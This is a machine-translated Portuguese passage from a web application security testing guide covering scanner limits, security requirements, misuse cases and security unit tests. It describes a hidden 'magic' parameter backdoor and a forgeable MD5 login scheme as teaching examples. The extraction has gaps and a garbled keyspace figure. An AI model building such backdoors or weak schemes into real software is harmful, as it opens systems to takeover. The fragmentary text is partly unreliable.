de teste devem ser encorajadas a desafiar suposições, como não ter acesso ao código-fonte, e explorar a possibilidade de testes mais completos.
Uma abordagem equilibrada varia de acordo com muitos fatores, como a maturidade do processo de teste e a cultura corporativa. Recomenda-se que uma
estrutura de teste balanceada se pareça com as representações mostradas na Figura 3 e na Figura 4. A figura a seguir mostra uma representação proporcional
típica sobreposta ao SLDC. No
Machine Translated by Google
21
de acordo com a pesquisa e a experiência, é essencial que as empresas dêem maior ênfase aos estágios iniciais de
desenvolvimento.
A figura a seguir mostra uma representação proporcional típica sobreposta às técnicas de teste.
Machine Translated by Google
22
Muitas organizações começaram a usar verificadores automatizados de aplicativos da web. Embora eles indubitavelmente tenham um lugar em
um programa de teste, algumas questões fundamentais precisam ser destacadas sobre por que se acredita que automatizar o teste de caixa
preta não é (nem nunca será) completamente eficaz. No entanto, destacar esses problemas não deve desencorajar o uso de scanners de
aplicativos da web. Em vez disso, o objetivo é garantir que as limitações sejam compreendidas e que as estruturas de teste sejam planejadas
adequadamente.
É útil entender a eficácia e as limitações das ferramentas automatizadas de detecção de vulnerabilidades. Para esse fim, o OWASP Benchmark
Project é um conjunto de testes projetado para avaliar a velocidade, cobertura e precisão de ferramentas e serviços automatizados de detecção
de vulnerabilidade de software. O benchmarking pode ajudar a testar os recursos dessas ferramentas automatizadas e ajudar a tornar sua
utilidade explícita.
Os exemplos a seguir mostram por que o teste de caixa preta automatizado pode não ser eficaz.
Imagine um aplicativo da Web simples que aceita um par nome-valor de “mágica” e, em seguida, o valor. Para simplificar, a solicitação GET
pode ser: http://www.host/application?magic=value
Para simplificar ainda mais o exemplo, os valores neste caso podem ser apenas caracteres ASCII a – z (maiúsculos ou minúsculos) e inteiros 0
– 9.
Os projetistas desse aplicativo criaram um backdoor administrativo durante o teste, mas o ofuscaram para evitar que o observador casual o
descobrisse. Ao enviar o valor sf8g7sfjdsurtsdieerwqredsgnfg8d (30 caracteres), o usuário será logado e será apresentada uma tela administrativa
com total controle do aplicativo. A solicitação HTTP agora é: http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d
Dado que todos os outros parâmetros eram campos simples de dois e três caracteres, não é possível começar a adivinhar combinações com
aproximadamente 28 caracteres. Um scanner de aplicativo da web precisará usar força bruta (ou adivinhar) todo o
Machine Translated by Google
23
espaço de chave de 30 caracteres. Isso é até 30 ^ 28 permutações ou trilhões de solicitações HTTP. Isso é um elétron em um palheiro digital.
O código para esta verificação de parâmetro mágico exemplar pode ser semelhante ao seguinte:
é amplamente usada em aplicativos da web. Imagine que um desenvolvedor decidiu escrever um algoritmo de criptografia simples para conectar
um usuário do site A ao site B automaticamente. Em sua sabedoria, o desenvolvedor decide que, se um usuário estiver conectado ao site A, ele
gerará uma chave usando uma função de hash MD5 que compreende: Hash { nome de usuário : data
}
Quando um usuário é passado para o site B, ele envia a chave na string de consulta para o site B em um redirecionamento HTTP. O site B calcula
o hash independentemente e o compara com o hash transmitido na solicitação. Se forem correspondentes, o site B conecta o usuário como o
usuário que afirma ser.
À medida que o esquema é explicado, as inadequações podem ser resolvidas. Qualquer um que descubra o esquema (ou saiba como ele
funciona, ou baixe as informações do Bugtraq) pode fazer login como qualquer usuário. A inspeção manual, como uma revisão ou inspeção de
código, teria descoberto esse problema de segurança rapidamente. Um scanner de aplicativo web de caixa preta não teria descoberto a
vulnerabilidade. Teria visto um hash de 128 bits que mudava com cada usuário e, pela natureza das funções de hash, não mudava de maneira
previsível.
Muitas organizações começaram a usar scanners de código-fonte estáticos. Embora eles indubitavelmente tenham um lugar em um programa de
teste abrangente, é necessário destacar algumas questões fundamentais sobre por que essa abordagem não é eficaz quando usada sozinha. A
análise estática do código-fonte por si só não consegue identificar problemas devido a falhas no projeto, pois não consegue entender o contexto
em que o código é construído. As ferramentas de análise de código-fonte são úteis para determinar problemas de segurança devido a erros de
codificação; no entanto, é necessário um esforço manual significativo para validar as descobertas.
objetivos do teste de segurança é validar se os controles de segurança funcionam conforme o esperado. Isso é documentado por meio de
requisitos de segurança que descrevem a funcionalidade do controle de segurança. Em um alto nível, isso significa provar confidencialidade,
integridade e disponibilidade dos dados, bem como do serviço. O outro objetivo é validar que os controles de segurança sejam implementados
com poucas ou nenhuma vulnerabilidade. Essas são vulnerabilidades comuns, como o OWASP Top Ten, bem como vulnerabilidades que foram
identificadas anteriormente com avaliações de segurança durante o SDLC, como modelagem de ameaças, análise de código-fonte e teste de
penetração.
A primeira etapa na documentação dos requisitos de segurança é entender os requisitos de negócios . Um documento de requisitos de negócios pode fornecer
informações iniciais de alto nível sobre a funcionalidade esperada do aplicativo. Por exemplo, o objetivo principal de um aplicativo pode ser fornecer serviços
financeiros a clientes ou permitir que mercadorias sejam compradas em um catálogo on-line. Uma seção de segurança dos requisitos de negócios deve destacar
a necessidade de proteger os dados do cliente, bem como cumprir a documentação de segurança aplicável, como regulamentos, padrões e políticas.
Uma lista de verificação geral dos regulamentos, padrões e políticas aplicáveis é uma boa análise preliminar de conformidade de segurança para aplicativos da
web. Por exemplo, os regulamentos de conformidade podem ser identificados verificando informações sobre o setor de negócios e o país ou estado onde o
aplicativo irá operar. Algumas dessas diretrizes e regulamentos de conformidade podem se traduzir em requisitos técnicos específicos para controles de
segurança. Por exemplo, no caso de aplicativos financeiros, a conformidade com a Ferramenta e Documentação de Avaliação de Segurança Cibernética do
Federal Financial Institutions Examination Council (FFIEC) exige que as instituições financeiras implementem aplicativos que reduzam os riscos de autenticação
Os padrões da indústria aplicáveis para segurança também devem ser capturados pela lista de verificação geral de requisitos de segurança. Por exemplo, no
caso de aplicativos que lidam com dados de cartão de crédito do cliente, a conformidade com o PCI Security Standards Council Data Security Standard (DSS)
proíbe o armazenamento de PINs e dados CVV2 e exige que o comerciante proteja os dados da faixa magnética no armazenamento e transmissão com
criptografia e em exibição por mascaramento. Esses requisitos de segurança do PCI DSS podem ser validados por meio da análise do código-fonte.
Outra seção da lista de verificação precisa reforçar os requisitos gerais de conformidade com os padrões e políticas de segurança da informação da organização.
Da perspectiva dos requisitos funcionais, os requisitos para o controle de segurança precisam ser mapeados para uma seção específica dos padrões de
segurança da informação. Um exemplo de tal requisito pode ser: “uma complexidade de senha de dez caracteres alfanuméricos deve ser aplicada pelos controles
de autenticação usados pelo aplicativo”. Quando os requisitos de segurança são mapeados para regras de conformidade, um teste de segurança pode validar a
exposição de riscos de conformidade. Se forem encontradas violações dos padrões e políticas de segurança da informação, isso resultará em um risco que pode
ser documentado e que o negócio deve gerenciar ou abordar. Como esses requisitos de conformidade de segurança são aplicáveis, eles precisam ser bem
vista da funcionalidade, a validação dos requisitos de segurança é o principal objetivo dos testes de segurança. Do ponto de vista do gerenciamento de riscos, a
validação dos requisitos de segurança é o objetivo das avaliações de segurança da informação. Em um alto nível, o principal objetivo das avaliações de
segurança da informação é a identificação de lacunas nos controles de segurança, como falta de autenticação básica, autorização ou controles de criptografia.
Examinado ainda mais, o objetivo da avaliação de segurança é a análise de risco, como a identificação de possíveis pontos fracos nos controles de segurança
que garantem a confidencialidade, integridade e disponibilidade dos dados. Por exemplo, quando o aplicativo lida com informações de identificação pessoal (PII)
e dados confidenciais, o requisito de segurança a ser validado é o cumprimento da política de segurança da informação da empresa que exige a criptografia
desses dados em trânsito e no armazenamento. Supondo que a criptografia seja usada para proteger os dados, os algoritmos de criptografia e os tamanhos de
chave precisam estar em conformidade com os padrões de criptografia da organização. Isso pode exigir que apenas determinados algoritmos e comprimentos
de chave sejam usados. Por exemplo, um requisito de segurança que pode ser testado é verificar se apenas as cifras permitidas são usadas (por exemplo,
SHA-256, RSA, AES) com comprimentos de chave mínimos permitidos (por exemplo, mais de 128 bits para simétrico e mais de 1024 para assimétrico
criptografia).
Do ponto de vista da avaliação de segurança, os requisitos de segurança podem ser validados em diferentes fases do SDLC usando diferentes artefatos e
metodologias de teste. Por exemplo, a modelagem de ameaças se concentra na identificação de falhas de segurança durante o projeto; análises e análises de
código seguro concentram-se na identificação de problemas de segurança no código-fonte durante o desenvolvimento; e o teste de penetração concentra-se na
identificação de vulnerabilidades no aplicativo durante o teste ou validação.
Os problemas de segurança identificados no início do SDLC podem ser documentados em um plano de teste para que possam ser validados posteriormente
com testes de segurança. Ao combinar os resultados de diferentes técnicas de teste, é possível derivar melhores casos de teste de segurança e aumentar o
nível de garantia dos requisitos de segurança. Por exemplo, distinguir as verdadeiras vulnerabilidades das inexploráveis é possível quando os resultados dos
testes de penetração e da análise do código-fonte são combinados.
Considerando o teste de segurança para uma vulnerabilidade de injeção de SQL, por exemplo, um teste de caixa preta pode primeiro envolver uma varredura de
Machine Translated by Google
25
o aplicativo para identificar a vulnerabilidade. A primeira evidência de uma possível vulnerabilidade de injeção SQL que pode ser validada é
a geração de uma exceção SQL. Uma validação adicional da vulnerabilidade SQL pode envolver a injeção manual de vetores de ataque para
modificar a gramática da consulta SQL para uma exploração de divulgação de informações. Isso pode envolver muita análise de tentativa e
erro antes que a consulta maliciosa seja executada. Supondo que o testador tenha o código-fonte, ele pode aprender diretamente com a
análise do código-fonte como construir o vetor de ataque SQL que explorará a vulnerabilidade com êxito (por exemplo, executar uma consulta
maliciosa retornando dados confidenciais para um usuário não autorizado). Isso pode agilizar a validação da vulnerabilidade do SQL.
O foco de uma categorização de ameaças e contramedidas é definir os requisitos de segurança em termos das ameaças e da causa raiz da
vulnerabilidade. Uma ameaça pode ser categorizada usando STRIDE, um acrônimo para falsificação, adulteração, repúdio, divulgação de
informações, negação de serviço e elevação de privilégio. A causa raiz pode ser categorizada como falha de segurança no design, um bug
de segurança na codificação ou um problema devido à configuração insegura. Por exemplo, a causa raiz da vulnerabilidade de autenticação
fraca pode ser a falta de autenticação mútua quando os dados cruzam um limite de confiança entre as camadas de cliente e servidor do
aplicativo. Um requisito de segurança que captura a ameaça de não repúdio durante uma revisão de projeto de arquitetura permite a
documentação do requisito para a contramedida (por exemplo, autenticação mútua) que pode ser validada posteriormente com testes de
segurança.
Uma categorização de ameaças e contramedidas para vulnerabilidades também pode ser usada para documentar requisitos de segurança
para codificação segura, como padrões de codificação segura. Um exemplo de erro de codificação comum em controles de autenticação
consiste em aplicar uma função hash para criptografar uma senha, sem aplicar uma semente ao valor. Do ponto de vista da codificação
segura, esta é uma vulnerabilidade que afeta a criptografia usada para autenticação com uma causa raiz de vulnerabilidade em um erro de
codificação. Como a causa principal é a codificação insegura, o requisito de segurança pode ser documentado em padrões de codificação
segura e validado por meio de revisões de código seguro durante a fase de desenvolvimento do SDLC.
requisitos de segurança precisam levar em consideração a gravidade das vulnerabilidades para dar suporte a uma estratégia de mitigação
de riscos . Supondo que a organização mantenha um repositório de vulnerabilidades encontradas em aplicativos (ou seja, uma base de
conhecimento de vulnerabilidades), os problemas de segurança podem ser relatados por tipo, problema, mitigação, causa raiz e mapeados
para os aplicativos onde são encontrados. Essa base de conhecimento de vulnerabilidade também pode ser usada para estabelecer uma
métrica para analisar a eficácia dos testes de segurança em todo o SDLC.
Por exemplo, considere um problema de validação de entrada, como uma injeção de SQL, que foi identificada por meio da análise do código-
fonte e relatada com uma causa raiz de erro de codificação e um tipo de vulnerabilidade de validação de entrada. A exposição de tal
vulnerabilidade pode ser avaliada por meio de um teste de penetração, sondando os campos de entrada com vários vetores de ataque de
injeção SQL. Esse teste pode validar se os caracteres especiais são filtrados antes de atingir o banco de dados e atenuar a vulnerabilidade.
Ao combinar os resultados da análise do código-fonte e do teste de penetração, é possível determinar a probabilidade e a exposição da
vulnerabilidade e calcular a classificação de risco da vulnerabilidade. Ao relatar as classificações de risco de vulnerabilidade nas descobertas
(por exemplo, relatório de teste), é possível decidir sobre a estratégia de mitigação. Por exemplo, vulnerabilidades de alto e médio risco
podem ser priorizadas para correção, enquanto vulnerabilidades de baixo risco podem ser corrigidas em versões futuras.
Ao considerar os cenários de ameaças de exploração de vulnerabilidades comuns, é possível identificar riscos potenciais para os quais o
controle de segurança do aplicativo precisa ser testado quanto à segurança. Por exemplo, as dez principais vulnerabilidades do OWASP
podem ser mapeadas para ataques como phishing, violações de privacidade, roubo de identidade, comprometimento do sistema, alteração
ou destruição de dados, perda financeira e perda de reputação. Tais problemas devem ser documentados como parte dos cenários de
ameaça. Pensando em ameaças e vulnerabilidades, é possível construir uma bateria de testes que simulem tais cenários de ataque.
Idealmente, a base de conhecimento de vulnerabilidade da organização pode ser usada para derivar casos de teste orientados a riscos de
segurança para validar os cenários de ataque mais prováveis. Por exemplo, se o roubo de identidade for considerado de alto risco, cenários de teste negativo
Machine Translated by Google
26
deve validar a mitigação dos impactos decorrentes da exploração de vulnerabilidades na autenticação, controles criptográficos, validação de entradas e
controles de autorização.
Do ponto de vista dos requisitos funcionais de segurança, os padrões, políticas e regulamentos aplicáveis orientam tanto a necessidade de um tipo de controle
de segurança quanto a funcionalidade de controle. Esses requisitos também são chamados de “requisitos positivos”, pois declaram a funcionalidade esperada
que pode ser validada por meio de testes de segurança.
Exemplos de requisitos positivos são: “o aplicativo bloqueará o usuário após seis tentativas de logon com falha” ou “as senhas precisam ter no mínimo dez
caracteres alfanuméricos”. A validação de requisitos positivos consiste em afirmar a funcionalidade esperada e pode ser testada recriando as condições de
teste e executando o teste de acordo com as entradas predefinidas. Os resultados são mostrados como uma condição de falha ou aprovação.
Para validar os requisitos de segurança com testes de segurança, os requisitos de segurança precisam ser orientados à função. Eles precisam destacar a
funcionalidade esperada (o quê) e implicar a implementação (o como). Exemplos de requisitos de design de segurança de alto nível para autenticação podem
ser:
Bloqueie a conta do usuário após um determinado número de tentativas de login com falha.
Não mostre erros de validação específicos para o usuário como resultado de uma falha no logon.
Permita apenas senhas alfanuméricas, que incluam caracteres especiais e tenham no mínimo dez caracteres, para limitar a superfície de ataque.
Permita a funcionalidade de alteração de senha apenas para usuários autenticados, validando a senha antiga, a nova senha e a resposta do usuário à
pergunta de desafio, para evitar a força bruta de uma senha por meio de alteração de senha.
O formulário de redefinição de senha deve validar o nome de usuário do usuário e o e-mail registrado do usuário antes de enviar a senha temporária ao
usuário por e-mail. A senha temporária emitida deve ser uma senha única. Um link para a página da web de redefinição de senha será enviado ao
usuário. A página da web de redefinição de senha deve validar a senha temporária do usuário, a nova senha, bem como a resposta do usuário à
pergunta de desafio.
Os testes de segurança também devem ser direcionados ao risco. Eles precisam validar o aplicativo para comportamento inesperado ou requisitos negativos.
O aplicativo não deve ser comprometido ou mal utilizado para transações financeiras não autorizadas por um mal-intencionado
do utilizador.
Os requisitos negativos são mais difíceis de testar, porque não há comportamento esperado a ser procurado. Procurar o comportamento esperado para
atender aos requisitos acima pode exigir que um analista de ameaças crie de forma irrealista condições de entrada, causas e efeitos imprevisíveis. Portanto,
os testes de segurança precisam ser orientados pela análise de risco e modelagem de ameaças.
A chave é documentar os cenários de ameaça e a funcionalidade da contramedida como um fator para mitigar uma ameaça.
Por exemplo, no caso de controles de autenticação, os seguintes requisitos de segurança podem ser documentados sob a perspectiva de ameaças e
contramedidas:
Criptografe dados de autenticação em armazenamento e trânsito para reduzir o risco de divulgação de informações e ataques de protocolo de
autenticação.
Criptografe senhas usando criptografia não reversível, como usar um resumo (por exemplo, HASH) e uma semente para evitar ataques de dicionário.
Machine Translated by Google
27
Bloqueie contas após atingir um limite de falha de logon e reforce a complexidade da senha para reduzir o risco de ataques de senha de força
bruta.
Exibir mensagens de erro genéricas após a validação de credenciais para reduzir o risco de colheita de conta ou
enumeração.
Autentique mutuamente o cliente e o servidor para evitar ataques de não repúdio e do Manipulator In the Middle (MiTM).
As ferramentas de modelagem de ameaças, como árvores de ameaças e bibliotecas de ataques, podem ser úteis para derivar os cenários de teste
negativos. Uma árvore de ameaças assumirá um ataque de raiz (por exemplo, o invasor pode ser capaz de ler as mensagens de outros usuários) e
identificar diferentes explorações de controles de segurança (por exemplo, validação de dados falha devido a uma vulnerabilidade de injeção de
SQL) e contramedidas necessárias (por exemplo, implementar dados validação e consultas parametrizadas) que podem ser validadas para serem
eficazes na mitigação de tais ataques.
Derivação de requisitos de teste de segurança por meio de casos de uso e uso indevido
Um pré-requisito para descrever a funcionalidade do aplicativo é entender o que o aplicativo deve fazer e como. Isso pode ser feito descrevendo
casos de uso. Os casos de uso, na forma gráfica comumente usada na engenharia de software, mostram as interações dos atores e suas relações.
Eles ajudam a identificar os atores da aplicação, seus relacionamentos, a sequência pretendida de ações para cada cenário, ações alternativas,
requisitos especiais, pré-condições e pós-condições.
Semelhante aos casos de uso, os casos de uso indevido ou abuso descrevem cenários de uso não intencional e mal-intencionado do aplicativo.
Esses casos de uso indevido fornecem uma maneira de descrever cenários de como um invasor pode fazer uso indevido e abusar do aplicativo.
Ao percorrer as etapas individuais em um cenário de uso e pensar em como ele pode ser explorado de forma maliciosa, podem ser descobertas
possíveis falhas ou aspectos do aplicativo que não estão bem definidos. A chave é descrever todos os cenários possíveis ou, pelo menos, os mais
críticos de uso e mau uso.
Os cenários de uso indevido permitem a análise da aplicação do ponto de vista do invasor e contribuem para a identificação de possíveis
vulnerabilidades e das contramedidas que precisam ser implementadas para mitigar o impacto causado pela possível exposição a tais vulnerabilidades.
Diante de todos os casos de uso e abuso, é importante analisá-los para determinar quais são os mais críticos e precisam ser documentados nos
requisitos de segurança. A identificação dos casos de uso indevido e abuso mais críticos orienta a documentação dos requisitos de segurança e os
controles necessários onde os riscos de segurança devem ser mitigados.
Para derivar requisitos de segurança de casos de uso e uso indevido, é importante definir os cenários funcionais e os cenários negativos e colocá-
los em forma gráfica. O exemplo a seguir é uma metodologia passo a passo para o caso de derivação de requisitos de segurança para autenticação.
O usuário autentica fornecendo um nome de usuário e senha. O aplicativo concede acesso aos usuários com base na autenticação das credenciais
do usuário pelo aplicativo e fornece erros específicos ao usuário quando a validação falha.
O invasor quebra a autenticação por meio de força bruta ou ataque de dicionário de senhas e vulnerabilidades de coleta de contas no aplicativo. Os
erros de validação fornecem informações específicas para um invasor que é usado para adivinhar quais contas são contas registradas válidas (nomes
de usuário). O invasor então tenta forçar a senha de uma conta válida. Um ataque de força bruta em senhas com comprimento mínimo de quatro
dígitos pode ser bem-sucedido com um número limitado de tentativas (ou seja, 10^4).
Etapa 3: Descrever Cenários Funcionais e Negativos com Casos de Uso e Uso Indevido
O exemplo gráfico abaixo descreve a derivação de requisitos de segurança por meio de casos de uso e mau uso. O cenário funcional consiste nas
ações do usuário (inserir um nome de usuário e senha) e nas ações do aplicativo (autenticar o usuário e fornecer uma mensagem de erro se a
validação falhar). O caso de uso indevido consiste nas ações do invasor, ou seja, tentar quebrar a autenticação forçando a senha por meio de um
ataque de dicionário e adivinhando os nomes de usuário válidos das mensagens de erro. Ao representar graficamente as ameaças às ações do
usuário (usos indevidos), é possível derivar as contramedidas como as ações do aplicativo que mitigam tais ameaças.
Machine Translated by Google
28
1. Os requisitos de senhas devem estar alinhados com os padrões atuais para complexidade suficiente.
O teste de segurança durante a fase de desenvolvimento do SDLC representa a primeira oportunidade para os desenvolvedores garantirem
que os componentes de software individuais que desenvolveram sejam testados quanto à segurança antes de serem integrados a outros
componentes ou incorporados ao aplicativo. Os componentes de software podem consistir em artefatos de software, como funções, métodos
e classes, bem como interfaces de programação de aplicativos, bibliotecas e arquivos executáveis. Para testes de segurança, os
desenvolvedores podem confiar nos resultados da análise do código-fonte para verificar estaticamente se o código-fonte desenvolvido não
inclui vulnerabilidades potenciais e está em conformidade com os padrões de codificação segura. Os testes de unidade de segurança podem
verificar dinamicamente (ou seja, em tempo de execução) se os componentes funcionam conforme o esperado. Antes de integrar alterações
de código novas e existentes na construção do aplicativo, os resultados da análise estática e dinâmica devem ser revisados e validados.
A validação do código-fonte antes da integração nas compilações do aplicativo geralmente é de responsabilidade do desenvolvedor sênior. Os
desenvolvedores seniores geralmente são especialistas no assunto em segurança de software e sua função é liderar a revisão de código
seguro. Eles devem decidir se aceitam o código a ser liberado na compilação do aplicativo ou exigem mais alterações e testes. Esse fluxo de
trabalho de revisão de código seguro pode ser aplicado por meio de aceitação formal, bem como uma verificação em uma ferramenta de
gerenciamento de fluxo de trabalho. Por exemplo, assumindo o fluxo de trabalho típico de gerenciamento de defeitos usado para bugs
funcionais, os bugs de segurança que foram corrigidos por um desenvolvedor podem ser relatados em um sistema de gerenciamento de
defeitos ou mudanças. O mestre de construção pode examinar os resultados do teste relatados pelos desenvolvedores na ferramenta e
conceder aprovações para verificar as alterações de código na construção do aplicativo.
Depois que os componentes e as alterações de código são testados pelos desenvolvedores e verificados na compilação do aplicativo, a
próxima etapa mais provável no fluxo de trabalho do processo de desenvolvimento de software é realizar testes no aplicativo como uma
entidade inteira. Este nível de teste é geralmente referido como teste integrado e teste de nível de sistema. Quando os testes de segurança
fazem parte dessas atividades de teste, eles podem ser usados para validar tanto a funcionalidade de segurança do aplicativo como um todo,
quanto a exposição a vulnerabilidades no nível do aplicativo. Esses testes de segurança no aplicativo incluem testes de caixa branca, como
análise de código-fonte, e testes de caixa preta, como testes de penetração. Os testes também podem incluir testes de caixa cinza, nos quais
se supõe que o testador tenha algum conhecimento parcial sobre o aplicativo. Por exemplo, com algum conhecimento sobre o gerenciamento
de sessão do aplicativo, o testador pode entender melhor se as funções de logoff e tempo limite estão devidamente protegidas.
O alvo dos testes de segurança é o sistema completo vulnerável a ataques. Durante esta fase, é possível para os testadores de segurança
determinar se as vulnerabilidades podem ser exploradas. Isso inclui vulnerabilidades comuns de aplicativos da Web, bem como problemas de
segurança que foram identificados anteriormente no SDLC com outras atividades, como modelagem de ameaças, análise de código-fonte e
revisões de código seguro.
Normalmente, os engenheiros de teste, e não os desenvolvedores de software, realizam testes de segurança quando o aplicativo está no
escopo dos testes do sistema de integração. Os engenheiros de teste têm conhecimento de segurança de vulnerabilidades de aplicativos da
Web, técnicas de teste de caixa preta e caixa branca e possuem a validação dos requisitos de segurança nesta fase. Para realizar testes de
segurança, é um pré-requisito que os casos de teste de segurança sejam documentados nas diretrizes e procedimentos de teste de segurança.
Um engenheiro de teste que valida a segurança do aplicativo no ambiente de sistema integrado pode liberar o aplicativo para teste no ambiente
operacional (por exemplo, testes de aceitação do usuário). Nesta fase do SDLC (ou seja, validação), o teste funcional do aplicativo geralmente
é responsabilidade dos testadores de controle de qualidade, enquanto hackers de chapéu branco ou consultores de segurança geralmente
são responsáveis pelos testes de segurança. Algumas organizações contam com sua própria equipe especializada de hacking ético para
realizar esses testes quando uma avaliação de terceiros não é necessária (como para fins de auditoria).
Como esses testes às vezes podem ser a última linha de defesa para corrigir vulnerabilidades antes que o aplicativo seja liberado para
produção, é importante que os problemas sejam resolvidos conforme recomendado pela equipe de teste. As recomendações podem incluir
mudança de código, design ou configuração. Nesse nível, os auditores de segurança e os oficiais de segurança da informação discutem os
problemas de segurança relatados e analisam os riscos potenciais de acordo com os procedimentos de gerenciamento de risco da informação.
Esses procedimentos podem exigir que a equipe de desenvolvimento corrija todas as vulnerabilidades de alto risco antes que o aplicativo
possa ser implantado, a menos que tais riscos sejam reconhecidos e aceitos.
Do ponto de vista do desenvolvedor, o principal objetivo dos testes de segurança é validar se o código está sendo desenvolvido em conformidade com os
requisitos dos padrões de codificação segura. Os próprios artefatos de codificação dos desenvolvedores (como funções, métodos, classes, APIs e
bibliotecas) precisam ser funcionalmente validados antes de serem integrados à construção do aplicativo.
Os requisitos de segurança que os desenvolvedores devem seguir devem ser documentados em padrões de codificação seguros e validados com análises
estáticas e dinâmicas. Se a atividade de teste de unidade seguir uma revisão de código seguro, os testes de unidade podem validar se as alterações de
código exigidas pelas revisões de código seguro foram implementadas corretamente. As revisões de código seguro e a análise de código-fonte por meio
de ferramentas de análise de código-fonte podem ajudar os desenvolvedores a identificar problemas de segurança no código-fonte à medida que ele é
desenvolvido. Ao usar testes de unidade e análise dinâmica (por exemplo, depuração), os desenvolvedores podem validar a funcionalidade de segurança
dos componentes, bem como verificar se as contramedidas desenvolvidas atenuam quaisquer riscos de segurança previamente identificados por meio de
modelagem de ameaças e análise de código-fonte.
Uma boa prática para desenvolvedores é criar casos de teste de segurança como um conjunto de teste de segurança genérico que faz parte da estrutura
de teste de unidade existente. Um conjunto genérico de testes de segurança pode ser derivado de casos de uso e uso indevido previamente definidos
para funções, métodos e classes de teste de segurança. Um conjunto genérico de testes de segurança pode incluir casos de teste de segurança para
validar requisitos positivos e negativos para controles de segurança, como:
Criptografia
Auditoria e registro
Os desenvolvedores capacitados com uma ferramenta de análise de código-fonte integrada em seu IDE, padrões de codificação seguros e uma estrutura
de teste de unidade de segurança podem avaliar e verificar a segurança dos componentes de software que estão sendo desenvolvidos.
Casos de teste de segurança podem ser executados para identificar possíveis problemas de segurança que têm causas raiz no código-fonte: além da
validação de entrada e saída de parâmetros entrando e saindo dos componentes, esses problemas incluem verificações de autenticação e autorização
feitas pelo componente, proteção dos dados dentro do componente, tratamento seguro de exceções e erros e auditoria e registro seguros. Estruturas de
teste de unidade como JUnit, NUnit e CUnit podem ser adaptadas para verificar os requisitos de teste de segurança. No caso de testes funcionais de
segurança, os testes de nível de unidade podem testar a funcionalidade dos controles de segurança no nível do componente de software, como funções,
métodos ou classes. Por exemplo, um caso de teste pode validar a validação de entrada e saída (por exemplo, saneamento de variáveis) e verificações
de limites para variáveis afirmando a funcionalidade esperada do componente.
Os cenários de ameaças identificados com casos de uso e uso indevido podem ser usados para documentar os procedimentos para testar componentes
de software. No caso de componentes de autenticação, por exemplo, os testes de unidade de segurança podem afirmar a funcionalidade de definir um
bloqueio de conta, bem como o fato de que os parâmetros de entrada do usuário não podem ser abusados para contornar o bloqueio de conta (por
exemplo, definindo o contador de bloqueio de conta para um número negativo).
No nível do componente, os testes de unidade de segurança podem validar asserções positivas, bem como asserções negativas, como erros e manipulação
de exceção. Exceções devem ser capturadas sem deixar o sistema em um estado inseguro, como possível negação de serviço causada por recursos não
desalocados (por exemplo, identificadores de conexão não fechados em um bloco de instrução final), bem como elevação potencial de privilégios (por
exemplo , privilégios mais altos adquiridos antes da exceção ser lançada e não redefinidos para o nível anterior antes de sair da função). O tratamento
seguro de erros pode validar a possível divulgação de informações por meio de mensagens de erro informativas e rastreamentos de pilha.
Os casos de teste de segurança em nível de unidade podem ser desenvolvidos por um engenheiro de segurança que é o especialista no assunto em
segurança de software e também é responsável por validar se os problemas de segurança no código-fonte foram corrigidos e podem ser verificados na
construção do sistema integrado. Normalmente, o gerente das compilações de aplicativos também garante que as bibliotecas de terceiros e os arquivos
executáveis sejam avaliados quanto a possíveis vulnerabilidades antes de serem integrados na compilação do aplicativo.
Machine Translated by Google
31
Cenários de ameaças para vulnerabilidades comuns que têm causas raiz em codificação insegura também podem ser documentados no guia de
teste de segurança do desenvolvedor. Quando uma correção é implementada para um defeito de codificação identificado com a análise do
código-fonte, por exemplo, os casos de teste de segurança podem verificar se a implementação da alteração do código segue os requisitos de
codificação segura documentados nos padrões de codificação segura.
A análise do código-fonte e os testes de unidade podem validar se a alteração do código mitiga a vulnerabilidade exposta pelo defeito de
codificação identificado anteriormente. Os resultados da análise automatizada de código seguro também podem ser usados como portões de
check-in automáticos para controle de versão, por exemplo, artefatos de software não podem ser verificados na compilação com problemas de
codificação de gravidade alta ou média.
O principal objetivo dos testes de sistemas integrados é validar o conceito de “defesa em profundidade”, ou seja, que a implementação de
controles de segurança fornece segurança em diferentes camadas. Por exemplo, a falta de validação de entrada ao chamar um componente
integrado ao aplicativo geralmente é um fator que pode ser testado com testes de integração.
O ambiente de teste do sistema de integração também é o primeiro ambiente onde os testadores podem simular cenários reais de ataque, pois
podem ser potencialmente executados por um usuário interno ou externo malicioso do aplicativo. O teste de segurança nesse nível pode validar
se as vulnerabilidades são reais e podem ser exploradas por invasores. Por exemplo, uma vulnerabilidade potencial encontrada no código-fonte
pode ser classificada como de alto risco devido à exposição a possíveis usuários mal-intencionados, bem como devido ao impacto potencial (por
exemplo, acesso a informações confidenciais).
Cenários de ataque reais podem ser testados com técnicas de teste manual e ferramentas de teste de penetração. Testes de segurança desse
tipo também são chamados de testes de hacking ético. Do ponto de vista dos testes de segurança, são testes direcionados ao risco e têm como
objetivo testar a aplicação no ambiente operacional. O destino é a construção do aplicativo que representa a versão do aplicativo que está sendo
implantado na produção.
Incluir testes de segurança na fase de integração e validação é fundamental para identificar vulnerabilidades devido à integração de componentes,
bem como validar a exposição de tais vulnerabilidades. O teste de segurança de aplicativos requer um conjunto especializado de habilidades,
incluindo conhecimento de software e segurança, que não são típicos dos engenheiros de segurança. Como resultado, as organizações
geralmente são obrigadas a treinar seus desenvolvedores de software em técnicas de hacking ético e procedimentos e ferramentas de avaliação
de segurança. Um cenário realista é desenvolver tais recursos internamente e documentá-los em guias e procedimentos de teste de segurança
que levem em consideração o conhecimento de teste de segurança do desenvolvedor. Uma chamada “folha de verificação ou lista de verificação
de casos de teste de segurança”, por exemplo, pode fornecer casos de teste simples e vetores de ataque que podem ser usados pelos testadores
para validar a exposição a vulnerabilidades comuns, como falsificação, divulgação de informações, estouro de buffer, strings de formato, SQL
injeção e injeção de XSS, XML, SOAP, problemas de canonização, negação de serviço e código gerenciado e controles ActiveX (por
exemplo, .NET). Uma primeira bateria desses testes pode ser realizada manualmente com um conhecimento muito básico de segurança de
software.
O primeiro objetivo dos testes de segurança pode ser a validação de um conjunto de requisitos mínimos de segurança. Esses casos de teste de
segurança podem consistir em forçar manualmente o aplicativo a entrar em estados de erro e excepcionais e obter conhecimento do
comportamento do aplicativo. Por exemplo, as vulnerabilidades de injeção SQL podem ser testadas manualmente injetando vetores de ataque
por meio da entrada do usuário e verificando se as exceções SQL são lançadas de volta para o usuário. A evidência de um erro de exceção SQL
pode ser uma manifestação de uma vulnerabilidade que pode ser explorada.
Um teste de segurança mais aprofundado pode exigir o conhecimento do testador sobre técnicas e ferramentas de teste especializadas. Além
